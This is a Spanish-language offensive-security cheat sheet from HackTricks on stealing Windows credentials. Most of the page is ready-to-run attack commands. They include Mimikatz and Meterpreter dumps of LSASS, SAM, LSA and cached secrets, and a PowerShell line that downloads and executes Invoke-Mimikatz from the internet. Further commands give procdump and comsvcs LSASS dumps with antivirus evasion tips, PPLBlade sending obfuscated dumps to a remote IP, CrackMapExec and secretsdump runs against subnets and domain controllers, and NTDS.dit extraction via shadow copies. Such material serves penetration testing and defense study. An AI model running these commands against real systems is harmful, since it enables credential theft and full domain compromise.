hacktricks/windows-hardening/stealing-credentials/README.md

17 KiB

Robo de Credenciales de Windows

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Mimikatz de Credenciales

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Encuentra otras cosas que Mimikatz puede hacer en esta página.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Aprende sobre algunas posibles protecciones de credenciales aquí. Estas protecciones podrían evitar que Mimikatz extraiga algunas credenciales.

Credenciales con Meterpreter

Utiliza el Plugin de Credenciales que he creado para buscar contraseñas y hashes dentro de la víctima.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Saltando AV

Procdump + Mimikatz

Dado que Procdump de SysInternalses una herramienta legítima de Microsoft, no es detectada por Defender.
Puedes utilizar esta herramienta para volcar el proceso lsass, descargar el volcado y extraer las credenciales localmente del volcado.

{% code title="Volcar lsass" %}

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

{% endcode %}

{% code title="Extraer credenciales del volcado" %}

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

{% endcode %}

Este proceso se realiza automáticamente con SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Nota: Algunos AV pueden detectar como malicioso el uso de procdump.exe para volcar lsass.exe, esto se debe a que están detectando las cadenas "procdump.exe" y "lsass.exe". Por lo tanto, es más sigiloso pasar como argumento el PID de lsass.exe a procdump en lugar de el nombre lsass.exe.

Volcado de lsass con comsvcs.dll

Una DLL llamada comsvcs.dll encontrada en C:\Windows\System32 es responsable de volcar la memoria del proceso en caso de un fallo. Esta DLL incluye una función llamada MiniDumpW, diseñada para ser invocada usando rundll32.exe.
No es relevante utilizar los dos primeros argumentos, pero el tercero se divide en tres componentes. El ID del proceso a volcar constituye el primer componente, la ubicación del archivo de volcado representa el segundo, y el tercer componente es estrictamente la palabra full. No existen opciones alternativas.
Al analizar estos tres componentes, la DLL se encarga de crear el archivo de volcado y transferir la memoria del proceso especificado a este archivo.
La utilización de comsvcs.dll es factible para volcar el proceso lsass, eliminando así la necesidad de cargar y ejecutar procdump. Este método se describe detalladamente en https://en.hackndo.com/remote-lsass-dump-passwords/.

El siguiente comando se emplea para la ejecución:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Puedes automatizar este proceso con lsassy.

Volcado de lsass con el Administrador de tareas

  1. Haz clic derecho en la barra de tareas y selecciona Administrador de tareas
  2. Haz clic en Más detalles
  3. Busca el proceso "Proceso de Autoridad de Seguridad Local" en la pestaña Procesos
  4. Haz clic derecho en el proceso "Proceso de Autoridad de Seguridad Local" y selecciona "Crear archivo de volcado".

Volcado de lsass con procdump

Procdump es un binario firmado por Microsoft que forma parte de la suite sysinternals.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Volcado de lsass con PPLBlade

PPLBlade es una herramienta de volcado de procesos protegidos que admite la ofuscación de volcado de memoria y su transferencia a estaciones de trabajo remotas sin dejar rastro en el disco.

Funcionalidades clave:

  1. Saltar la protección PPL
  2. Ofuscar archivos de volcado de memoria para evadir los mecanismos de detección basados en firmas de Defender
  3. Cargar el volcado de memoria con métodos de carga RAW y SMB sin dejar rastro en el disco (volcado sin archivos)
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

{% endcode %}

CrackMapExec

Volcar hashes SAM

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Volcar secretos de LSA

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Volcar el NTDS.dit desde el controlador de dominio objetivo

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Volcar el historial de contraseñas NTDS.dit desde el controlador de dominio objetivo

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Mostrar el atributo pwdLastSet para cada cuenta de NTDS.dit

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Robando SAM & SYSTEM

Estos archivos deben estar ubicados en C:\windows\system32\config\SAM y C:\windows\system32\config\SYSTEM. Pero no puedes simplemente copiarlos de forma regular porque están protegidos.

Desde el Registro

La forma más sencilla de robar esos archivos es obtener una copia desde el registro:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Descarga esos archivos en tu máquina Kali y extrae los hashes usando:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Copia de sombra de volumen

Puedes realizar una copia de archivos protegidos utilizando este servicio. Necesitas ser Administrador.

Usando vssadmin

El binario vssadmin solo está disponible en versiones de Windows Server

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Pero puedes hacer lo mismo desde Powershell. Este es un ejemplo de cómo copiar el archivo SAM (el disco duro utilizado es "C:" y se guarda en C:\users\Public) pero puedes usar esto para copiar cualquier archivo protegido:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Código del libro: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

Finalmente, también podrías usar el script de PS Invoke-NinjaCopy para hacer una copia de SAM, SYSTEM y ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Credenciales de Active Directory - NTDS.dit

El archivo NTDS.dit es conocido como el corazón de Active Directory, que contiene datos cruciales sobre objetos de usuario, grupos y sus membresías. Es donde se almacenan los hashes de contraseñas de los usuarios del dominio. Este archivo es una base de datos del Motor de Almacenamiento Extensible (ESE) y reside en %SystemRoom%/NTDS/ntds.dit.

Dentro de esta base de datos, se mantienen tres tablas principales:

  • Tabla de Datos: Esta tabla se encarga de almacenar detalles sobre objetos como usuarios y grupos.
  • Tabla de Enlaces: Lleva un registro de las relaciones, como las membresías de grupos.
  • Tabla SD: Aquí se almacenan los descriptores de seguridad de cada objeto, asegurando la seguridad y el control de acceso para los objetos almacenados.

Más información sobre esto: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows utiliza Ntdsa.dll para interactuar con ese archivo y es utilizado por lsass.exe. Luego, parte del archivo NTDS.dit podría estar ubicado dentro de la memoria de lsass (puedes encontrar los datos más recientemente accedidos probablemente debido a la mejora de rendimiento mediante el uso de una caché).

Descifrado de los hashes dentro de NTDS.dit

El hash está cifrado 3 veces:

  1. Descifrar la Clave de Cifrado de Contraseña (PEK) usando la BOOTKEY y RC4.
  2. Descifrar el hash usando PEK y RC4.
  3. Descifrar el hash usando DES.

PEK tiene el mismo valor en cada controlador de dominio, pero está cifrado dentro del archivo NTDS.dit utilizando la BOOTKEY del archivo SYSTEM del controlador de dominio (es diferente entre controladores de dominio). Por eso, para obtener las credenciales del archivo NTDS.dit necesitas los archivos NTDS.dit y SYSTEM (C:\Windows\System32\config\SYSTEM).

Copiando NTDS.dit usando Ntdsutil

Disponible desde Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

También puedes usar el truco de la copia de sombra de volumen para copiar el archivo ntds.dit. Recuerda que también necesitarás una copia del archivo SYSTEM (nuevamente, dúmpealo del registro o usa el truco de la copia de sombra de volumen).

Extracción de hashes de NTDS.dit

Una vez que hayas obtenido los archivos NTDS.dit y SYSTEM, puedes usar herramientas como secretsdump.py para extraer los hashes:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

También puedes extraerlas automáticamente utilizando un usuario administrador de dominio válido:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Para archivos NTDS.dit grandes se recomienda extraerlos usando gosecretsdump.

Finalmente, también se puede utilizar el módulo de metasploit: post/windows/gather/credentials/domain_hashdump o mimikatz lsadump::lsa /inject

Extracción de objetos de dominio de NTDS.dit a una base de datos SQLite

Los objetos de NTDS se pueden extraer a una base de datos SQLite con ntdsdotsqlite. No solo se extraen secretos, sino también los objetos completos y sus atributos para una mayor extracción de información cuando el archivo NTDS.dit en bruto ya ha sido recuperado.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

El hive de SYSTEM es opcional pero permite la descifrado de secretos (hashes NT y LM, credenciales suplementarias como contraseñas en texto claro, claves de kerberos o de confianza, historiales de contraseñas NT y LM). Junto con otra información, se extraen los siguientes datos: cuentas de usuario y máquina con sus hashes, indicadores de UAC, marcas de tiempo del último inicio de sesión y cambio de contraseña, descripción de cuentas, nombres, UPN, SPN, grupos y membresías recursivas, árbol de unidades organizativas y membresía, dominios de confianza con tipo de confianza, dirección y atributos...

Lazagne

Descarga el binario desde aquí. Puedes usar este binario para extraer credenciales de varios software.

lazagne.exe all

Otras herramientas para extraer credenciales de SAM y LSASS

Editor de credenciales de Windows (WCE)

Esta herramienta se puede utilizar para extraer credenciales de la memoria. Descárguela desde: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

Extraer credenciales del archivo SAM

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Extraer credenciales del archivo SAM

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Descárgalo desde: http://www.tarasco.org/security/pwdump_7 y simplemente ejecútalo y las contraseñas serán extraídas.

Defensas

Aprende sobre algunas protecciones de credenciales aquí.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: